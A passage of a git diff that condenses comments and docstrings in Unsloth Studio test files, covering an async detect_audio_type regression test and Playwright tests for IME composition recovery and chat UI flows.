-    """Walk every .py under studio/backend/routes/ and confirm no file
-    contains a ``LlamaCppBackend.detect_audio_type()`` call inside an
-    async function. Re-introducing the bug means putting back the sync
-    call AND opening the race condition the lock fix closes."""
+    """No routes/*.py may call llama_backend.detect_audio_type() in an async fn;
+    that reintroduces the sync bug and the load race the lock fix closes."""
     routes_dir = _REPO_ROOT / "studio" / "backend" / "routes"
     offenders = []
-    # Match `<anything>.detect_audio_type(` so this catches both
-    # `llama_backend.detect_audio_type(` and `self.detect_audio_type(`.
-    # We exclude the `utils.models.model_config.detect_audio_type`
-    # free function which is a separate, harmless static helper.
+    # Matches both llama_backend. and self. prefixes; the model_config free
+    # function helper is excluded below.
     pattern = re.compile(r"\b\w+\.detect_audio_type\s*\(")
     for path in routes_dir.rglob("*.py"):
         for i, line in enumerate(path.read_text().splitlines(), start = 1):
             m = pattern.search(line)
             if not m:
                 continue
-            # Skip the free function import-site uses (no llama_backend prefix
-            # and called outside async context). Easiest: only treat the
-            # LlamaCppBackend instance call as an offender.
+            # Only the LlamaCppBackend instance call is an offender.
             if "llama_backend.detect_audio_type" not in line:
                 continue
             if "asyncio.to_thread" in line:
-                # Wrapped sync call is acceptable (event-loop responsive)
-                # but not preferred -- detect_audio_type belongs inside
-                # load_model now. Surface but don't fail; comment in PR
-                # if seen.
+                # Wrapped sync call is acceptable (not preferred); surface in PR.
                 continue
             offenders.append(f"{path.relative_to(_REPO_ROOT)}:{i}: {line.strip()}")
     assert not offenders, (
@@ -575,8 +503,6 @@ def test_no_other_async_route_calls_detect_audio_type_unwrapped():
 
 
 # (6) Timing budgets
-
-
 def test_load_response_under_2s_with_fast_shim():
     """Regression budget: fast shim must complete /probe in <2 s."""
     with FakeLlamaServer(tok_delay = 0.0, detok_delay = 0.0) as shim:
@@ -592,9 +518,7 @@ def test_load_response_under_2s_with_fast_shim():
 
 
 def test_repeated_loads_bounded_total_time():
-    """Five sequential /probe calls against a fast shim must complete
-    in well under 10 s total. Locks in that there's no per-call leak
-    (open connections, threads, etc.) that compounds across loads."""
+    """Five sequential /probe calls finish under 10 s, guarding against per-call leaks."""
     with FakeLlamaServer(tok_delay = 0.05, detok_delay = 0.05) as shim:
         backend = _make_backend(shim.port)
         app = _build_app(backend, wrap_in_thread = True)
@@ -609,13 +533,8 @@ def test_repeated_loads_bounded_total_time():
 
 
 # (7) Browser-compatibility surface
-
-
 def test_response_is_valid_browser_parseable_json():
-    """The fix changes the route's internal scheduling but must not
-    change the response shape any browser sees. Round-trip the response
-    through json.loads() (the canonical equivalent of
-    JSON.parse() in any browser) and assert the expected keys."""
+    """The fix must not change the response shape a browser sees (valid JSON, expected keys)."""
     import json as _json
 
     with FakeLlamaServer(tok_delay = 0.0, detok_delay = 0.0) as shim:
@@ -625,27 +544,16 @@ def test_response_is_valid_browser_parseable_json():
         with _UvicornServerThread(app, port = port) as uv:
             with httpx.Client(timeout = 5.0) as c:
                 r = c.get(f"http://127.0.0.1:{uv.port}/probe")
-    # 1. Status code is one a browser will surface as success.
     assert r.status_code == 200
-    # 2. Content-Type is exactly application/json (browsers use this
-    #    header to decide if they can JSON-parse the body).
     assert r.headers["content-type"].startswith("application/json")
-    # 3. Body is valid JSON. Every modern browser (Firefox, Safari,
-    #    Chrome, Edge) uses the same JSON.parse semantics; parse via
-    #    Python's strict json module here as a stand-in.
     parsed = _json.loads(r.text)
-    # 4. Expected key present.
     assert "audio_type" in parsed
-    # 5. No NaN / Infinity / non-JSON-spec types that would break
-    #    browser parsers.
+    # No NaN / Infinity that would break browser parsers.
     assert _json.dumps(parsed)
 
 
 def test_response_shape_matches_pre_fix_for_no_match():
-    """The fix's only externally-observable effect must be timing.
-    Confirm sync and threaded paths return byte-identical response
-    bodies for the no-match scenario (the dominant code path in
-    practice for non-audio models)."""
+    """Sync and threaded paths return identical bodies for the no-match scenario."""
     import json as _json
     with FakeLlamaServer(
         detok_map = {128258: "abc", 128259: "def"},
@@ -662,7 +570,7 @@ def test_response_shape_matches_pre_fix_for_no_match():
         },
     ) as shim:
         backend = _make_backend(shim.port)
-        # Two apps -- sync (pre-fix) and to_thread (post-fix).
+        # sync (pre-fix) then to_thread (post-fix).
         for wrap in (False, True):
             app = _build_app(backend, wrap_in_thread = wrap)
             port = _free_port()
@@ -675,14 +583,8 @@ def test_response_shape_matches_pre_fix_for_no_match():
 
 
 # (8) Cancellation
-
-
 def test_client_disconnect_during_probe_does_not_crash_server():
-    """If the HTTP client disconnects mid-probe, uvicorn must continue
-    serving subsequent requests. The threadpool task keeps running
-    (asyncio.to_thread doesn't propagate cancellation), but that's
-    matched by the existing init_audio_codec wrap and is not a
-    regression. After the disconnect, /health must still respond."""
+    """A client disconnect mid-probe must not crash the server; /health still responds."""
     with FakeLlamaServer(tok_delay = 0.5, detok_delay = 0.5) as shim:
         backend = _make_backend(shim.port)
         app = _build_app(backend, wrap_in_thread = True)
@@ -690,13 +592,11 @@ def test_client_disconnect_during_probe_does_not_crash_server():
         with _UvicornServerThread(app, port = port) as uv:
             base = f"http://127.0.0.1:{uv.port}"
 
-            # Connect and immediately drop. httpx with a very short
-            # timeout simulates a client that gave up.
+            # Short timeout simulates a client that gave up mid-probe.
             with pytest.raises(httpx.TimeoutException):
                 with httpx.Client(timeout = 0.2) as c:
                     c.get(f"{base}/probe")
 
-            # The server must still serve /health afterwards.
             with httpx.Client(timeout = 5.0) as c:
                 r = c.get(f"{base}/health")
             assert r.status_code == 200
diff --git a/tests/studio/playwright_chat_ime_i18n.py b/tests/studio/playwright_chat_ime_i18n.py
index 7686013fcf..9c01e95fd4 100644
--- a/tests/studio/playwright_chat_ime_i18n.py
+++ b/tests/studio/playwright_chat_ime_i18n.py
@@ -3,18 +3,10 @@
 
 """Studio chat composer IME + multilingual regression smoke.
 
-Covers four surfaces:
-  A. Stuck IME composition (#5318 / PR #5327): duplicate compositionstart with
-     no compositionend left isComposing=true, dropping keystrokes.
-  B. Multilingual paste round-trip across 31 scripts (Unicode plumbing).
-  C. Stuck compositionend (#5546): WSL Chrome never fires compositionend,
-     wedging Send disabled; the useImeComposerInputHandlers watchdog releases it.
-  D. Mac input-method switch: compositionstart without compositionend leaves
-     composingRef stuck; keydown and blur recover immediately.
-
-Model-free; the bug surface is the composer, not inference.
-Env contract matches playwright_chat_ui.py: BASE_URL, STUDIO_NEW_PW, PW_ART_DIR,
-STUDIO_UI_STRICT.
+Covers: stuck IME composition (#5318 / PR #5327), multilingual paste round-trip,
+stuck compositionend (#5546), and Mac input-method switch recovery (keydown/blur).
+Model-free; the bug surface is the composer, not inference. Env contract matches
+playwright_chat_ui.py: BASE_URL, STUDIO_NEW_PW, PW_ART_DIR, STUDIO_UI_STRICT.
 """
 
 import os
@@ -42,7 +34,7 @@ ART = Path(ART_DIR)
 ART.mkdir(parents = True, exist_ok = True)
 STRICT = os.environ.get("STUDIO_UI_STRICT", "0") == "1"
 
-# Wall-clock cap. Realistic run is 30-60s; 5 min leaves cold-launch headroom.
+# Wall-clock cap: 5 min leaves cold-launch headroom over the 30-60s run.
 WALL_TIMEOUT_S = float(os.environ.get("STUDIO_IME_WALL_TIMEOUT_S", "300"))
 
 
@@ -98,7 +90,7 @@ def fail(m):
 
 
 def soft_fail(m):
-    """Hard fail in STRICT mode, info-warn otherwise. Mirrors playwright_chat_ui.py."""
+    """Hard fail in STRICT mode, else info-warn (mirrors playwright_chat_ui.py)."""
     if STRICT:
         fail(m)
     info(f"WARN (strict-off): {m}")
@@ -153,8 +145,7 @@ with sync_playwright() as p:
         except Exception as _shoot_err:
             info(f"WARN: screenshot {name} failed: {_shoot_err}")
 
-    # 1. Bootstrap auth via /change-password (retry-on-rerender absorbs React
-    #    form-detach races, mirroring playwright_chat_ui.py).
+    # 1. Bootstrap auth via /change-password; retry absorbs React form-detach races.
     step("change-password through UI (Setup your account)")
     form_err: Exception | None = None
     for _form_attempt in range(3):
@@ -202,7 +193,7 @@ with sync_playwright() as p:
     if form_err is not None:
         raise form_err
 
-    # 2. Wait for composer mount (no GGUF: the bug is React state, not inference).
+    # 2. Wait for composer mount (no GGUF; the bug is React state, not inference).
     step("wait for composer to mount")
     try:
         page.wait_for_load_state("networkidle", timeout = 30_000)
@@ -248,8 +239,7 @@ with sync_playwright() as p:
     else:
         info('composer dir="auto" present')
 
-    # Source-level guard for the unmounted edit/compare composers: grep their
-    # JSX for dir="auto".
+    # Source-level guard: grep the unmounted edit/compare composers' JSX for dir="auto".
     _repo_root = Path(__file__).resolve().parents[2]
     _thread_src = (
         _repo_root / "studio/frontend/src/components/assistant-ui/thread.tsx"
@@ -273,9 +263,8 @@ with sync_playwright() as p:
         return composer.evaluate("(el) => el.value")
 
     def set_value_via_setter(s: str) -> str:
-        """Write via React's setter + paste input event, then await two rAFs so the
-        controlled value commits before readback (plain `.value=s` is overwritten
-        on next render)."""
+        """Write via React's setter + paste event, await two rAFs so the controlled
+        value commits before readback (plain `.value=s` is overwritten on render)."""
         return composer.evaluate(
             """async (el, v) => {
                 const setter = Object.getOwnPropertyDescriptor(
@@ -320,7 +309,7 @@ with sync_playwright() as p:
                 "Send button is unavailable for the next IME regression case."
             )
 
-    # 3. Baseline: ASCII keyboard typing works. Bail fast if not.
+    # 3. Baseline: ASCII keyboard typing works.
     step("baseline ASCII keyboard typing")
     clear()
     composer.click()
@@ -389,9 +378,8 @@ with sync_playwright() as p:
     shoot("05-normal-composition")
     clear()
 
-    # 6. Stuck IME repro (#5318): duplicate compositionstart with no
-    #    compositionend wedged isComposing=true; PR #5327 clears it on
-    #    non-composing input.
+    # 6. Stuck IME repro (#5318): duplicate compositionstart wedges
+    #    isComposing=true; PR #5327 clears it on non-composing input.
     step("BUG REPRO: stuck IME composition recovery (issue #5318)")
     clear()
     composer.click()
@@ -426,8 +414,8 @@ with sync_playwright() as p:
             "likely still stuck in isComposing=true (issue #5318 / before "
             "PR #5327)."
         )
-    # Cross-check React's view of isComposing via the Send button:
-    # ComposerAction stays disabled while isComposing is true (PR #5327).
+    # Cross-check isComposing via the Send button: it stays disabled while
+    # isComposing is true (PR #5327).
     send_btn = page.locator('button[aria-label="Send message"]')
     if send_btn.count() == 0:
         soft_fail("Send button not found after stuck-composition recovery")
@@ -445,7 +433,7 @@ with sync_playwright() as p:
 
     # 6b. WSL+Chrome repro (#5546): Chrome never emits compositionend after the
     #     IME commit, so the watchdog must release the composing flag once events
-    #     go silent. Dispatch "compose, commit, then nothing" and wait for Send.
+    #     go silent.
     step("BUG REPRO: stuck compositionend recovery (issue #5546)")
     clear()
     composer.click()
@@ -490,9 +478,8 @@ with sync_playwright() as p:
     clear()
 
     # 6c. Watchdog-race repro: after the watchdog clears composingRef, a later
-    #     IME keydown (isComposing=true / keyCode 229) must not slip preedit text
-    #     through submit. The onKeyDown gate re-pins composingRef so handleSubmit
-    #     refuses at form.requestSubmit() time, not at the (enabled) button.
+    #     IME keydown (keyCode 229) must not slip preedit text through submit.
+    #     The onKeyDown gate re-pins composingRef so handleSubmit refuses.
     step("BUG REPRO: keydown re-pin after watchdog cleared composing (issue #5546 follow-up)")
     clear()
     composer.click()
@@ -517,9 +504,8 @@ with sync_playwright() as p:
         expect(send_btn_keydown).not_to_be_disabled(timeout = 8_000)
     except Exception:
         soft_fail("watchdog did not clear before keydown re-pin test")
-    # Fire the IME-confirm Enter (keyCode 229) then submit synchronously. The
-    # keydown gate re-pins composingRef before handleSubmit, preventing submit;
-    # the textarea must still hold the preedit text.
+    # Fire IME-confirm Enter (keyCode 229) then submit synchronously: the keydown
+    # gate re-pins composingRef before handleSubmit, so preedit text is retained.
     submit_probe = composer.evaluate(
         """(el) => {
             el.focus();
@@ -544,10 +530,9 @@ with sync_playwright() as p:
     info("keydown re-pin gate PASS")
     clear()
 
-    # 6d. Keydown re-pin must also re-arm the watchdog. On the WSL+Chrome
-    #     stuck-compositionend path no follow-up event arrives, so after keydown
-    #     re-pins composingRef the watchdog must clear it again or Send re-locks
-    #     permanently.
+    # 6d. Keydown re-pin must also re-arm the watchdog: on the WSL+Chrome
+    #     stuck-compositionend path no follow-up event arrives, so after re-pin
+    #     the watchdog must clear composingRef again or Send re-locks forever.
     step("BUG REPRO: keydown re-pin re-arms watchdog (#5546 follow-up regression)")
     clear()
     composer.click()
@@ -572,7 +557,7 @@ with sync_playwright() as p:
         expect(send_btn_rearm).not_to_be_disabled(timeout = 8_000)
     except Exception:
         soft_fail("watchdog did not clear before re-arm test (first cycle)")
-    # IME-confirm keydown re-pins composingRef. Without the re-arm fix the
+    # IME-confirm keydown re-pins composingRef; without the re-arm fix the
     # watchdog never runs again and Send stays blocked forever.
     composer.evaluate(
         """(el) => {
@@ -583,9 +568,8 @@ with sync_playwright() as p:
             }));
         }"""
     )
-    # Second watchdog cycle: a real submit must eventually be allowed. Trigger
-    # requestSubmit() after the re-armed window plus slack; the buggy build stays
-    # gated forever.
+    # Second watchdog cycle: requestSubmit() after the re-armed window must be
+    # allowed; the buggy build stays gated forever.
     rearm_probe = page.evaluate(
         """async (selector) => {
             const ta = document.querySelector(selector);
@@ -620,41 +604,30 @@ with sync_playwright() as p:
     clear()
 
     # 6e. Mac input-method switch - onKeyDown immediate recovery.
-    #     On macOS, pressing Ctrl+Space or clicking the menu-bar language icon
-    #     fires compositionstart but never fires compositionend (the OS commits
-    #     nothing because no candidate was selected). When the user types their
-    #     first English key after switching back, onKeyDown receives a native
-    #     event with isComposing=false and a regular keyCode. The else-if branch
-    #     added for this bug clears composingRef immediately, before the 2500ms
-    #     watchdog would fire, so Send is unblocked on that very keystroke.
-    #
-    #     To isolate the onKeyDown else-if path (and not the onChange path which
-    #     also clears composing on normal input), we dispatch a synthetic KeyboardEvent
-    #     with isComposing=false but do NOT dispatch a follow-up input event.
-    #     onChange never fires, so the only recovery path is onKeyDown.
+    #     A Mac IME switch fires compositionstart but never compositionend; the
+    #     first English keydown (isComposing=false) must clear composingRef via
+    #     the onKeyDown else-if branch, before the 2500ms watchdog fires.
+    #     To isolate that path (not onChange) we dispatch a synthetic keydown with
+    #     NO follow-up input event, so onChange never fires.
     step("BUG REPRO: Mac IME switch - onKeyDown immediate recovery")
     clear()
     composer.click()
-    # Seed sendable content so the Send button's state reflects composition
-    # state only, not empty-content gating. set_value_via_setter uses
-    # insertFromPaste which is not composing, so composingRef stays false here.
+    # Seed sendable content so Send's state reflects composition only, not
+    # empty-content gating (insertFromPaste leaves composingRef false).
     set_value_via_setter("hello")
-    # Simulate switching TO Chinese input method: compositionstart fires but
-    # compositionend never arrives (user switched away without committing text).
+    # Switch TO Chinese: compositionstart fires but compositionend never arrives.
     composer.evaluate(
         """(el) => {
             el.focus();
             el.dispatchEvent(new CompositionEvent('compositionstart', {bubbles:true, data:''}));
         }"""
     )
-    # Give React a tick to process the compositionstart and update isComposing.
+    # Let React process compositionstart and update isComposing.
     page.wait_for_timeout(200)
     send_btn_mac_kd = page.locator('button[aria-label="Send message"]')
-    # Dispatch ONLY a keydown (isComposing=false, keyCode=65) with no follow-up
-    # input event. This fires onKeyDown but NOT onChange, so the else-if branch
-    # is the only path that can clear composingRef. page.keyboard.type() would
-    # also fire an input event and trigger onChange, which already clears
-    # composing on ASCII input, which would make the test a false positive.
+    # Dispatch ONLY a keydown (no input event) so onChange never fires and the
+    # onKeyDown else-if branch is the only path that can clear composingRef.
+    # page.keyboard.type() would fire onChange too and mask a regression.
     composer.evaluate(
         """(el) => {
             el.focus();
@@ -668,8 +641,8 @@ with sync_playwright() as p:
         soft_fail("Send button not found for Mac IME switch (onKeyDown) repro")
     else:
         try:
-            # 1500ms is well below the 2500ms watchdog: only the onKeyDown
-            # else-if path can clear composingRef this quickly.
+            # 1500ms < 2500ms watchdog: only the onKeyDown else-if path can
+            # clear composingRef this quickly.
             expect(send_btn_mac_kd).not_to_be_disabled(timeout = 1_500)
             info(
                 "Send button enabled within 1500ms after Mac IME switch + "
@@ -687,10 +660,9 @@ with sync_playwright() as p:
     clear()
 
     # 6f. Candidate-confirming Enter must not unblock submit.
-    #     Some IMEs/browsers report the candidate-confirming Enter as
-    #     isComposing=false with keyCode=13 while composingRef is still pinned.
-    #     That Enter must be swallowed and keep Send disabled; otherwise it can
-    #     become a form submit before the candidate is committed.
+    #     Some IMEs report it as isComposing=false/keyCode=13 while composingRef
+    #     is still pinned; it must be swallowed and keep Send disabled, else it
+    #     submits before the candidate is committed.
     step("BUG REPRO: Mac IME switch - Enter must not unblock submit")
     clear()
     composer.click()
@@ -741,18 +713,15 @@ with sync_playwright() as p:
     clear()
 
     # 6g. Mac input-method switch - onBlur immediate recovery.
-    #     Some Mac IME switches steal focus from the textarea (e.g. clicking
-    #     the menu-bar language icon). The onBlur handler added for this bug
-    #     resets composingRef unconditionally when the textarea loses focus.
-    #     This is always safe: the OS commits or cancels any active composition
-    #     before surrendering focus, so blur is a reliable reset point.
+    #     Some Mac IME switches steal textarea focus; onBlur resets composingRef
+    #     unconditionally. Safe because the OS commits/cancels composition before
+    #     surrendering focus, so blur is a reliable reset point.
     step("BUG REPRO: Mac IME switch - onBlur immediate recovery")
     clear()
     composer.click()
-    # Seed sendable content so the Send button's enabled/disabled state reflects
-    # composition state only, not empty-content gating.
+    # Seed sendable content so Send's state reflects composition only.
     set_value_via_setter("hello")
-    # Simulate switching TO Chinese: compositionstart fires, compositionend never comes.
+    # Switch TO Chinese: compositionstart fires, compositionend never comes.
     composer.evaluate(
         """(el) => {
             el.focus();
@@ -761,18 +730,16 @@ with sync_playwright() as p:
     )
     page.wait_for_timeout(200)
     send_btn_mac_blur = page.locator('button[aria-label="Send message"]')
-    # Blur the textarea to simulate the OS stealing focus during an IME switch
-    # (e.g. the user clicks the menu-bar language icon).
+    # Blur to simulate the OS stealing focus during an IME switch.
     composer.evaluate("(el) => el.blur()")
-    # onBlur calls setCompositionState(false) immediately; re-focus so React
-    # can render the updated Send-button state and we can locate it.
+    # onBlur clears composition; re-focus so React renders the updated Send state.
     composer.click()
     if send_btn_mac_blur.count() == 0:
         soft_fail("Send button not found for Mac IME switch (onBlur) repro")
     else:
         try:
-            # 1500ms is well below the 2500ms watchdog: only onBlur can clear
-            # composingRef this quickly when no keydown is fired.
+            # 1500ms < 2500ms watchdog: only onBlur can clear composingRef this
+            # quickly when no keydown is fired.
             expect(send_btn_mac_blur).not_to_be_disabled(timeout = 1_500)
             info(
                 "Send button enabled within 1500ms after Mac IME switch + "
@@ -789,8 +756,7 @@ with sync_playwright() as p:
     info("Mac IME switch onBlur recovery PASS")
     clear()
 
-    # 7. Final state. Filter benign 401 noise from the change-password redirect
-    #    via is_benign_*; fail only on real errors.
+    # 7. Final state: filter benign 401 noise via is_benign_*; fail on real errors.
     shoot("07-final")
     real_page_errors = [e for e in page_errors if not is_benign_page_error(e)]
     probe_cancel_500_allowance = expected_probe_cancel_500s[0]
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index 9cfb33d427..f0a928982d 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -1,40 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Comprehensive Studio chat UI test, run locally + in CI.
-
-Covers:
-  1. /change-password through the UI (no API pre-rotate).
-  2. Model loaded by the time chat opens (the chat page's runtime
-     adapter pings /api/models/list; we trigger /api/inference/load
-     via page.evaluate so we don't need the password out-of-band).
-  3. Five chat turns, each deterministic (temperature handled at the
-     server level via Studio's default; we only assert non-empty).
-  4. Regenerate the last turn from the assistant action bar.
-  5. Composer toggle buttons: Thinking / Web search / Code execution
-     -- assert aria-label flips state on click.
-  6. Configuration sheet: open, drive Temperature slider via keyboard,
-     close.
-  7. Theme toggle through the account menu, multiple cycles, with a
-     deterministic computed-background-color check on
-     `document.documentElement` and `document.body`.
-  8. Sidebar nav: New Chat, Compare, Search, Recipes (URL changes).
-  9. Recents (history) cards: click an existing chat thread.
-  10. API tab via account menu -> Developer / api-keys.
-  11. Image attachment UI (upload widget reachable; vision response
-      not asserted because gemma-3-270m is text-only).
-  12. Reload + verify session JWT survives.
-  13. /api/health remains healthy.
-  14. Negative-auth post-UI-rotation: old=401, new=200.
-  15. Terminal-driven password rotation via subprocess(curl) to
-      /api/auth/change-password (NEW -> NEW2). Confirms refresh
-      tokens get revoked and that an out-of-band password change
-      (i.e. another tab / CLI / curl) invalidates the old creds.
-  16. Shutdown via the account menu's Shutdown menuitem + the
-      AlertDialog's "Stop server" action; wait for /api/health to
-      become unreachable (server process exited).
-  17. No uncaught page errors.
-"""
+"""Comprehensive Studio chat UI test, run locally + in CI."""
 
 import json
 import os
@@ -48,9 +15,8 @@ import urllib.error
 from pathlib import Path
 from playwright.sync_api import expect, sync_playwright
 
-# Shared robustness helpers live next to this script. Tests run as
-# plain `python tests/studio/playwright_chat_ui.py` (not via pytest /
-# import), so prepend the dir to sys.path before importing.
+# Tests run as plain `python tests/studio/playwright_chat_ui.py` (not
+# via pytest/import), so prepend this dir to sys.path before importing.
 sys.path.insert(0, str(Path(__file__).resolve().parent))
 from _playwright_robust import (  # noqa: E402
     chromium_launch_args,
@@ -74,27 +40,18 @@ ART_DIR = os.environ.get("PW_ART_DIR", "logs/playwright")
 ART = Path(ART_DIR)
 ART.mkdir(parents = True, exist_ok = True)
 
-# Strict mode -- when on (default in CI), the test fails loudly if any
-# expected button / nav / dialog is missing instead of logging a WARN
-# and continuing. Locally we leave it off so the test still runs against
-# a partial Studio install.
+# When on (default in CI), fail loudly on any missing button/nav/dialog
+# instead of logging a WARN; off locally to run against a partial install.
 STRICT = os.environ.get("STUDIO_UI_STRICT", "0") == "1"
 
-# Per-turn assistant-bubble wait. The free macos-14 runner (3 vCPU /
-# 7 GB / no GPU) is ~3-5x slower at gemma-3-270m CPU inference than the
-# free ubuntu-latest runner; "Say the word 'tree'" has been observed to
-# hit the 180 s default exactly. STUDIO_UI_TURN_TIMEOUT_MS lets the Mac
-# CI bump this without hard-coding a Mac branch in the test.
+# Per-turn assistant-bubble wait. The free macos-14 runner is ~3-5x
+# slower at gemma-3-270m CPU inference; this lets it bump the timeout.
 TURN_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_TURN_TIMEOUT_MS", "180000"))
 
-# Wall-clock cap for the entire script. A healthy comprehensive run is
-# 5-9 min; 12 min leaves headroom. Tunable via STUDIO_UI_WALL_TIMEOUT_S.
-# See _playwright_robust.install_wall_clock_watchdog for rationale.
+# Wall-clock cap for the whole script (healthy run is 5-9 min).
 WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))
 
-# Per-fetch budget for in-page fetches. The /api/inference/load call is
-# usually the slowest legitimate request: it pulls the model into the
-# llama.cpp worker. Give it ~3 min on a cold cache, less elsewhere.
+# Per-fetch budget; /api/inference/load is the slowest (cold-cache GGUF load).
 FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_FETCH_TIMEOUT_MS", "30000"))
 LOAD_FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_LOAD_TIMEOUT_MS", "180000"))
 
@@ -119,10 +76,8 @@ def expected_default_model():
         return override
 
     # Parse DEFAULT_MODELS_GGUF as a literal out of defaults.py instead of
-    # importing it. The Playwright job installs Studio with --no-torch, so
-    # the studio.backend.core.inference package init (which eagerly imports
-    # the orchestrator -> structlog) and defaults.py's own
-    # `import utils.hardware.hardware as hw` are both unavailable.
+    # importing it: the --no-torch Playwright install can't import the
+    # inference package or defaults.py's hardware deps.
     import ast
 
     defaults_path = (
@@ -154,12 +109,7 @@ def expected_default_model():
 
 
 def soft_fail(m):
-    """Hard fail in STRICT mode, info-warn otherwise.
-
-    Use for "this button should exist but didn't" assertions where
-    a missing element is a regression in CI but acceptable when
-    running against a partial Studio locally.
-    """
+    """Hard fail in STRICT mode, info-warn otherwise."""
     if STRICT:
         fail(m)
     info(f"WARN (strict-off): {m}")
@@ -190,56 +140,32 @@ with sync_playwright() as p:
         label = "ui",
         info = info,
     )
-    # Pre-flight: bash-side wait_for already gated on /api/health
-    # before launching us, but the macos-14 free runner has been
-    # observed to surface a 200 /api/health while the auth DB is
-    # still finishing its migration. A second 30s probe inside the
-    # script catches that gap before we sink 60s into a change-
-    # password timeout. Diagnostic only -- the workflow's own wait
-    # is the authoritative gate, so we don't fail on miss.
+    # Pre-flight: macos-14 can surface a 200 /api/health while the auth
+    # DB is still migrating; this 30s probe catches that gap before we
+    # sink 60s into a change-password timeout. Diagnostic only.
     wait_for_health(BASE, timeout = 30.0, info = info)
     # Chromium launch args: see `tests/studio/_playwright_robust.py`.
-    # Bundles the macos-14 stability set (--single-process for the
-    # pipeTransport.js JSON-RPC crash) + new throttling kill set
-    # (--disable-background-timer-throttling and friends) that
-    # prevent Chromium from deprioritising the headless context's
-    # CPU/timers when it thinks the window is backgrounded -- which
-    # CI runners routinely flag.
     browser = p.chromium.launch(
         headless = True,
         args = chromium_launch_args(),
     )
     ctx = browser.new_context(
         viewport = {"width": 1280, "height": 900},
-        # Reduces motion so the theme toggle's view-transition
-        # animation doesn't briefly intercept pointer events
-        # (the running CSS view-transition leaves the html in a
-        # state where Playwright's actionability check fails).
+        # Reduce motion so view-transition animations don't intercept
+        # pointer events and break Playwright's actionability check.
         reduced_motion = "reduce",
     )
-    # Hard-disable CSS view-transitions: see _playwright_robust.py
-    # for the underlying init script. Necessary because Studio's theme
-    # toggle + sidebar collapse run their own startViewTransition()
-    # which can leave the <html> element intercepting pointer events
-    # for a beat after each route swap -- Playwright surfaces this as
-    # "<html> intercepts pointer events" on the next click.
+    # Hard-disable CSS view-transitions: Studio's theme toggle + sidebar
+    # collapse run startViewTransition() which can leave <html> intercepting
+    # pointer events for a beat after each route swap. See _playwright_robust.py.
     install_view_transition_killer(ctx)
     page = ctx.new_page()
-    # 60s default (was 30s) -- macos-14 free runner under
-    # --single-process Chromium is slow enough that page renders /
-    # webfonts / lazy-loaded routes routinely crowd 30s. Run
-    # 25494926834 hit Page.screenshot timeout AND
-    # locator.wait_for("#new-password") timeout under the old 30s
-    # default. 60s is conservative without bloating real-failure
-    # detection.
+    # 60s default (was 30s): macos-14 under --single-process Chromium is
+    # slow enough that renders/webfonts/lazy routes routinely crowd 30s.
     page.set_default_timeout(60_000)
     page_errors = []
     page.on("pageerror", lambda e: page_errors.append(str(e)))
     console_errors: list[str] = []
-    # Filtered console.error log -- excludes BENIGN_CONSOLE_ERROR_PATTERNS
-    # so the diagnostic dumps + final summary count only signals worth
-    # reading. Raw firehose is still surfaced via len(console_errors)
-    # vs len(filtered).
 
     def _on_console(m):
         if m.type != "error":
@@ -252,11 +178,8 @@ with sync_playwright() as p:
 
     page.on("console", _on_console)
 
-    # Per-turn HTTP-status capture: if a /v1/chat/completions request
-    # 4xx-rejects mid-test the symptom is a hung wait_for_function and
-    # a "FAIL: 1 non-benign pageerror events" line; this listener
-    # surfaces the underlying status codes so a flake is debuggable
-    # straight from the CI log without artifact spelunking.
+    # Capture /v1/chat/completions statuses so a mid-test 4xx (which
+    # surfaces only as a hung wait_for_function) is debuggable from the log.
     chat_completions_responses: list[tuple[int, str]] = []
     page.on(
         "response",
@@ -268,15 +191,9 @@ with sync_playwright() as p:
     )
 
     def shoot(name):
-        # Screenshots are diagnostic artifacts only -- never fail the
-        # test on a screenshot timeout. Page.screenshot waits for
-        # webfonts to fully load before snapshotting; on macos-14 free
-        # runners with --single-process Chromium, font loading on the
-        # Studio chat page (Inter / Geist Mono) regularly crowds the
-        # 30s default and crashes Page.screenshot. Bump the timeout
-        # AND wrap in try/except so the test progresses even if the
-        # screenshot can't be captured. animations='disabled' freezes
-        # any in-flight CSS transitions for a deterministic snap.
+        # Screenshots are diagnostic only -- never fail on a screenshot
+        # timeout. Page.screenshot waits for webfonts, which on macos-14
+        # can crowd the default; bump the timeout and swallow errors.
         _n[0] += 1
         try:
             page.screenshot(
@@ -290,31 +207,15 @@ with sync_playwright() as p:
 
     # ─────────────────────────────────────────────────────
     # 1. Change-password through the UI ("Setup your account").
-    # The bootstrap state injects window.__UNSLOTH_BOOTSTRAP__
-    # so the current-password is pre-seeded; we only enter the
-    # new password twice and submit. Match the workflow rename
-    # from "tool calling tests" pattern: this *is* the user's
-    # first-run experience.
+    # Bootstrap state pre-seeds the current password; we enter the
+    # new password twice and submit -- the user's first-run experience.
     # ─────────────────────────────────────────────────────
     step("change-password through UI (Setup your account)")
-    # Wait for the network to settle before touching the form. Without
-    # this, on macos-14 free runners under --single-process Chromium,
-    # the page sometimes redirects mid-test (the bootstrap state poll
-    # finishes after wait_for() returns, the React router decides
-    # we're "already authenticated" or "no longer must-change", and
-    # rerenders without #new-password). Letting the network idle first
-    # gives the bootstrap dispatch a chance to settle BEFORE we
-    # commit to the form path. Run 25497245250 / job 74820324136
-    # showed this exact sequence: wait_for() returned then
-    # page.fill('#new-password') timed out 60s later because the
-    # form had been replaced. Run 25578374480 / job 75091072289
-    # showed the same race a step deeper: pw_field.fill('#new-password')
-    # succeeded then page.fill('#confirm-password') hit a 60s timeout
-    # because a re-render between the two locators detached the
-    # second input. We wrap the whole goto/wait/fill/submit sequence
-    # in a 3-attempt retry, with a fresh page or hard reload between
-    # attempts so a re-render in the middle of one try doesn't poison
-    # the next.
+    # Settle the network before touching the form: a late bootstrap poll
+    # can rerender the page (dropping #new-password) mid-test. The whole
+    # goto/wait/fill/submit sequence is wrapped in a 3-attempt retry with
+    # a fresh page/reload between tries so a mid-try rerender doesn't
+    # poison the next.
     form_err: Exception | None = None
     for _form_attempt in range(3):
         try:
@@ -325,25 +226,14 @@ with sync_playwright() as p:
